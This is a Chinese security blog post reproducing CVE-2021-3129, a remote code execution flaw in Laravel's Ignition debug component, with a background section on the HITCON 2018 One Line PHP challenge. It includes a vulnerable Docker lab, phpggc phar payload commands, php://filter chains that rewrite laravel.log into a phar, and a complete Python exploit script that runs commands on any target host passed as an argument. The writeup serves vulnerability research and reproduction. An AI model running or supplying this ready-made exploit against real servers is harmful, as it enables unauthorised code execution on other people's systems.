0x01 前言
最近在搭建复现CVE-2021-3129踩了一些坑,在这边记录一下。顺便拓展下利用编码控制文件内容的一些姿势。
0x02 从hitcon2018的One Line PHP Challenge看CVE-2021-3129
希望直接看环境搭建和exp的可以先跳过~
其实当时在写这个漏洞POC的时候,就发现这个漏洞给我一种似曾相识的感觉,就是当年hitcon的这个经典CTF题。
区别在于one-line-php-challenge这题是通过写入session文件利用文件包含getshell。而CVE-2021-3129则是通过控制laravel.log最终反序列化执行命令。
共同点则在于都是利用编码转换清除内容,令写入的文件内容绕过特定或者冗余数据的限制。
One-line-php-challenge
赛题可以说是很简洁明了了。
<?php
($_=@$GET['orange']) && @substr(file($_)[0],0,6) ==='@<?php' ?include($_):highlight_file(__FILE__);
?>
通过Get传入orange参数作为文件名,系统将该文件的前6个字符与@<?php比较,若匹配则包含这个文件。
当时的条件是
-
通过 PHP_SESSION_UPLOAD_PROGRESS控制 session 文件
-
文件的开头必须是 @<?php
-
这个文件是以 upload_progress_ 开头的,不能直接包含,需要控制这个开头。
base64编码绕过
首先了解下base64编码。
base64编码表为:0-9,26个英文小写字母a-z,26个英文大写字母:A-Z,除此之外还有额外两个字符”+”和”/”
如果遇到非编码表中的字符则会绕过。
可以看到如”,,,,”被base64解码忽略
这边我们需要绕过的文件开头为upload_progress_,只要令其最终解码为非编码表内容即可。
“upload_progress_”为16位字符。可被base64解析为14个字符,所以我们需要补两个字符。假设补充字符为”zz”,则base64 decode后结果为3个可解析字符,我们需要fuzz两个字符,令其第一次解码后存在四个编码表内容,且这四个字符base64解码后的内容均不在编码表中。其中”ZZ”满足条件。
构造编码
已知我们需要三次解码才能绕过文件开头,所以将我们写入的内容编码三次即可。最后再三次解码即成功绕过。
实际题目中利用php伪协议三次base64解码判断绕过文件头,成功写入的webshell文件。
然后我们再来看CVE-2021-3129
0x03 环境build
影响范围
Laravel <= 8.4.2
Ignition <2.5.2
docker搭建
目前vulhub在dockerhub上并无现成的镜像可以pull。如果后续增加了可以直接pull vulhub的Laravel镜像。
vulhub给了dockerfile
composer 的安装包网址是国外镜像,这边换成阿里的镜像源
FROM php:7.4-apache
RUN set -ex \
&& apt-get update \
&& apt-get install -y --no-install-recommends unzip \
&& curl -#L -o /usr/local/bin/composer https://github.com/composer/composer/releases/download/1.10.19/composer.phar \
&& chmod +x /usr/local/bin/composer
RUN set -ex \
&& cd /var/www \
&& rm -rf html \
&& composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/ \
&& composer create-project laravel/laravel . "v8.4.2" \
&& sed -i -E 's|"facade/ignition": ".+?"|"facade/ignition": "2.5.1"|g' composer.json \
&& composer update \
&& mv public html
RUN set -ex \
&& chown www-data:www-data -R /var/www \
&& a2enmod rewrite
构建镜像起容器。
docker build . -t CVE_2021_3129
docker run -d -p 8080:80 CVE_2021_3129
访问8080端口如下则环境构建完毕。
0x04 分析
漏洞点
在Ignition(<=2.5.1)中,默认提供了一些solutions,其中可以通过MakeViewVariableOptionalSolution的file_get_contents()的可控参数利用phar伪协议反序列化。
通过控制器调用MakeViewVariableOptionalSolution传入可控parameters参数。
测试phar反序列化
显然如果存在一个可控的上传点,可以触发反序列化执行命令。
使用phpggc生成序列化利用POC
https://github.com/ambionics/phpggc
php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o phar.log
我这边将phar.log放到服务的/var/www/storage/logs路径下。
尝试反序列化成功执行命令
利用laravel.log实现phar反序列化
利用这边的file_put_contents 使用php伪协议php://filter/write达到控制log内容的效果。
首先要想利用laravel.log,清空log内容。可能会想到一直base64 decode。直到都为不可见字符解码清空。但是这个做法会有问题。因为base64在解码的时候如果等号后面还有内容则会报错。
这边大佬的做法是utf-8转utf-16 然后quoted-printable编码 然后utf-16转utf-8 完成上述操作后log中所有字符转为不可见字符,最后base64 decode即可。
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
利用报错写入laravel.log
给Log增加一次前缀
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}
phpggc生成序列化利用POC
php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "=50******=00a"
}
}
log文件转换为phar文件
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
利用phar伪协议反序列化
0x05 Exploit
#! -*- coding:utf-8 -*-
import sys
import requests
import re
class Poc:
def clear_log(self,schema, host, port):
base_url = "{}://{}:{}".format(schema, host, port)
path="/_ignition/execute-solution"
req_url="{}{}".format(base_url,path)
payload='''
{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
'''
_headers ={
"Content-Type":"application/json"
}
resp = requests.post(req_url,data=payload, headers=_headers, allow_redirects=False)
return resp.status_code
def add_prefix(self,schema, host, port):
base_url = "{}://{}:{}".format(schema, host, port)
path = "/_ignition/execute-solution"
req_url = "{}{}".format(base_url, path)
payload = '''
{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}
'''
_headers ={
"Content-Type": "application/json"
}
resp = requests.post(req_url, data=payload, headers=_headers, allow_redirects=False)
return resp.text
def send_payload(self,schema, host, port):
base_url = "{}://{}:{}".format(schema, host, port)
path = "/_ignition/execute-solution"
req_url = "{}{}".format(base_url, path)
payload = '''
{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=79=00=4F=00=69=00=4A=00=70=00=5A=00=43=00=49=00=37=00=63=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=68=00=62=00=47=00=6C=00=36=00=5A=00=57=00=51=00=69=00=4F=00=32=00=49=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=4D=00=61=00=57=00=31=00=70=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=77=00=63=00=6D=00=39=00=6A=00=5A=00=58=00=4E=00=7A=00=62=00=33=00=4A=00=7A=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=6D=00=4E=00=31=00=63=00=6E=00=4A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=59=00=36=00=49=00=6E=00=4E=00=35=00=63=00=33=00=52=00=6C=00=62=00=53=00=49=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=49=00=36=00=49=00=6D=00=6C=00=6B=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=6A=00=6F=00=69=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=47=00=47=00=63=00=49=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=47=00=47=00=63=00=49=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=64=00=47=00=56=00=7A=00=64=00=46=00=75=00=79=00=53=00=68=00=78=00=45=00=4F=00=52=00=4C=00=32=00=32=00=52=00=68=00=4D=00=5A=00=47=00=4A=00=66=00=69=00=32=00=6F=00=6A=00=4F=00=4E=00=33=00=33=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a"
}
}
'''
_headers = {
"Content-Type": "application/json"
}
resp = requests.post(req_url, data=payload, headers=_headers, allow_redirects=False)
return resp.text
def restore_payload(self,schema, host, port):
base_url = "{}://{}:{}".format(schema, host, port)
path = "/_ignition/execute-solution"
req_url = "{}{}".format(base_url, path)
payload ='''
{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
'''
_headers = {
"Content-Type": "application/json"
}
resp = requests.post(req_url, data=payload, headers=_headers, allow_redirects=False)
return resp.status_code
def phar_unserialize(self,schema, host, port):
base_url = "{}://{}:{}".format(schema, host, port)
path = "/_ignition/execute-solution"
req_url = "{}{}".format(base_url, path)
payload = '''
{
"solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
}
}
'''
_headers = {
"Content-Type": "application/json"
}
resp = requests.post(req_url, data=payload, headers=_headers, allow_redirects=False)
return resp.text
def crack(self, schema, host, port):
for i in range(3):
if self.clear_log(schema, host, port)==200:
print("laravel log cleard")
self.add_prefix(schema, host, port)
self.send_payload(schema, host, port)
if self.restore_payload(schema, host, port)==200:
print("successfully converted to phar")
resp_text=self.phar_unserialize(schema, host, port)
if "uid=" in resp_text and "gid=" in resp_text:
print("phar unserialize")
print(resp_text.split("\n")[-2])
break
else:
print("converted to phar fails")
else:
print("laravel log clear fails")
if __name__ == "__main__":
poc = Poc()
poc.crack(sys.argv[1], sys.argv[2], sys.argv[3])
效果如下:
0x06 参考
来源:freebuf.com 2021-01-21 10:09:38 by: 滴滴安全蓝军
请登录后发表评论
注册